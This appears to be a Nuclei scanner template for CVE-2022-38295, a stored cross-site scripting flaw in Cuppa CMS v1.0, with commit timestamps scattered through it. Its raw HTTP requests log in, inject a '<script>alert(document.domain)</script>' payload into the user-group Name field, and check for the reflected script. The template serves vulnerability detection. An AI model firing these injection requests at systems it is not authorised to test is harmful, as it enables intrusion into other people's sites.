2023-04-21 08:56:01 +00:00
id : CVE-2022-38295
info :
name : Cuppa CMS v1.0 - Cross Site Scripting
author : theamanrawat
severity : medium
description : |
Cuppa CMS v1.0 was discovered to contain a cross-site scripting vulnerability at /table_manager/view/cu_user_groups. This vulnerability allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the Name field under the Add New Group function.
2023-09-06 11:59:08 +00:00
remediation : |
To remediate this vulnerability, it is recommended to implement proper input validation and sanitization techniques to prevent the execution of malicious scripts.
2023-04-21 08:56:01 +00:00
reference :
- https://github.com/CuppaCMS/CuppaCMS
- https://nvd.nist.gov/vuln/detail/CVE-2022-38295
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score : 6.1
cve-id : CVE-2022-38295
cwe-id : CWE-79
2023-10-16 10:55:14 +00:00
epss-score : 0.00226
2023-10-26 18:00:24 +00:00
epss-percentile : 0.60689
2023-09-06 11:59:08 +00:00
cpe : cpe:2.3:a:cuppacms:cuppacms:1.0:*:*:*:*:*:*:*
2023-04-21 08:56:01 +00:00
metadata :
2023-06-04 08:13:42 +00:00
verified : true
2023-09-06 11:59:08 +00:00
max-request : 3
2023-07-11 19:49:27 +00:00
vendor : cuppacms
product : cuppacms
2023-04-21 08:56:01 +00:00
tags : cve,cve2022,xss,cuppa,authenticated
2023-04-27 04:28:59 +00:00
http :
2023-04-21 08:56:01 +00:00
- raw :
- |
POST / HTTP/1.1
Host : {{Hostname}}
Content-Type : application/x-www-form-urlencoded
user={{username}}&password={{password}}&language=en&task=login
- |
POST /components/table_manager/classes/functions.php HTTP/1.1
Host : {{Hostname}}
Content-Type : application/x-www-form-urlencoded; charset=UTF-8
id_field=0&name_field="><script>alert(document.domain)</script>&admin_login_field=1&site_login_field=1&enabled_field=1&view=cu_user_groups&function=saveAdminTable
- |
POST /components/table_manager/ HTTP/1.1
Host : {{Hostname}}
Content-Type : application/x-www-form-urlencoded; charset=UTF-8
path=component%2Ftable_manager%2Fview%2Fcu_user_groups&uniqueClass=
cookie-reuse : true
2023-07-11 19:49:27 +00:00
2023-04-21 08:56:01 +00:00
matchers-condition : and
matchers :
- type : word
part : body_3
words :
- '"><script>alert(document.domain)</script>'
- 'cuppa_html'
condition : and
- type : word
part : header_3
words :
- "text/html"
- type : status
status :
- 200
2023-10-27 08:59:57 +00:00
# digest: 4a0a00473045022100f347bb643616cc62fac5117b96784c2dfd13a4770bdf3ec43eeb8d38c991708b02204918969d4df77f6a77af671e60380979b1550f8b2d848934fcc971bacdcd08f9:922c64590222798bb761d5b6d8e72950